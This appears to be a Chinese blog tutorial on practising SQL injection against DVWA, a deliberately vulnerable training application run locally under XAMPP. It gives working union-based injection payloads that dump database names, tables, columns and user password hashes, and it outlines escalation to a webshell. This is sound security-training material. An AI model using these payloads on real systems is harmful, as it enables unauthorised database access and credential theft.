使用dvwa作为靶场,进行SQL注入的练习

版权声明:请多多关注博主哟~ https://blog.csdn.net/qq_37865996/article/details/85564334

SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入。SQL注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态SQL命令,或者作为存储过程的输入参数,这些表单特别容易受到SQL注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是SQL注入就发生了。

SQL注入常规利用思路:

1、寻找注入点,可以通过web扫描工具实现 

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。 

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息) 

4、可以通过获得的用户信息,寻找后台登录。 

5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数 

3.确定显示的字段顺序 

4.获取当前数据库 

5.获取数据库中的表 

6.获取表中的字段名 

7.查询到账户的数据

DVWA

DVWA(Damn Vulnerable Web Application)是一款渗透测试的演练系统,如果需要入门,并且找不到合适的靶机,那推荐从DVWA入手。DVWA其实就是一个php网站,需要事先在自己的电脑上搭好Web服务器(Apache+PHP+MySQL),之后到DVWA的官网(http://www.dvwa.co.uk/)选择下载得到DVWA-master.zip,解压之后放到本地php的网站目录(如htdoc)。

Low级别SQL注入攻击的目标程序源代码

常见注入测试的POC

实践进行时

1.在Windows环境下搭建Web服务器

(1)为了搭建Apache+PHP+MySQL的Web服务器环境,本实验按照DVWA的推荐,使用XAMPP一站式安装,可以到官方网站下载:https://www.apachefriends.org/index.html

(2)之后安装程序,保持默认设置即可,可以看到下面界面。

(3)打开程序的主控面板,手动点击开启Apache和MySQL服务,这两个分别是Web服务器和数据库服务器,如果不熟悉,自行查找资料了解一下。

(4)服务开启以后,打开一个浏览器,输入127.0.0.1,如果看到以下界面,说明软件和服务安装成功。

2.安装DVWA软件

(1)到DVWA的官网(http://www.dvwa.co.uk/)选择下载得到DVWA-master.zip.解压后,大部分文件是PHP和配置文件,在 c:\xampp\htdocs目录下新建一个DVWA文件夹,把刚才解压的所有文件放到该目录下。注意,htdocs目录既是网页http://127.0.0.1访问的根目录,如果要访问DVWA,使用网址 http://127.0.0.1/DVWA即可,如果自己更改目录名和结构,自行更改访问网址。可以先看一下README文件。


(2)在DVWA的config目录下找到配置文件,按图中提示修改。

(3)用文本编辑器(如记事本)打开刚才改名的config.inc.php文件,把数据库的密码改为空(因为XAMPP默认安装的数据库密码为空)

(4)打开http://127.0.0.1/DVWA/setup.php页面,进行配置,如果出现红色错误,则对php.ini文件进行修改。

如果浏览器还报错,就重启一下计算机。

(5)如果http://127.0.0.1/DVWA/setup.php页面中没有红色提示,说明没有问题,可以点击页面最下方的create/reset database的按钮,生成DVMA必须的数据库。

(6)配置完成后,打开http://127.0.0.1/DVWA/login.php,出现下面页面,用户名是admin,密码是password

(7)点击DVWA Security,选择Low级别。

(8)点击SQL Injection就可以开始SQL注入攻击实验了

3.实现SQL注入攻击

(1)

  1. 简单ID查询的正常功能体验:输入正确的User ID(例如1,2,3...),点击Submit,将显示ID First name,Surname信息。
  2. 输入错误的不显示

(2)遍历数据库表,输入:1' or' 1' =' 1,遍历出了数据库中所有内容。

(3)获取数据库名称、账户名、版本及操作系统信息。通过使用user(),database(),version()三个内置函数得到连接数据库的账户名、数据库名称、数据库版本信息。通过注入1' and 1=2 union select user(),database() -- (注意--后有空格)得到数据库用户为root@localhost及数据库名dvwa


(4)猜测表名,注入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#得到表名为:guestbook,users注:union查询结合了两个select查询结果,根据上面的order by语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用union查询结合我们构造的另外一个select.注意在使用union查询的时候需要和主查询的列数相同。

(5)猜列名,注入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#得到列:user_id, first_name, last_name, user, password, avatar, last_login, failed_login, id, username,password

(6)猜用户密码,注入:

1' union select null,concat_ws(char(32,58,32),user,password) from users #  

得到用户信息,例如admin数据,下面的字符串是哈希值

admin 5f4dcc3b5aa765d61d8327deb882cf99

7.使用https://crackstation.net/,对上述MD5值进行破解,还原admin用户密码明文,把还原的密码进行截图记录。

 

4.完成DVWA中SQL注入攻击通关过程

网上查找DVWA的SQL注入攻击完整通关教程,例如可以参考:

http://www.storysec.com/dvwa-sql-injection.html

猜你喜欢

转载自blog.csdn.net/qq_37865996/article/details/85564334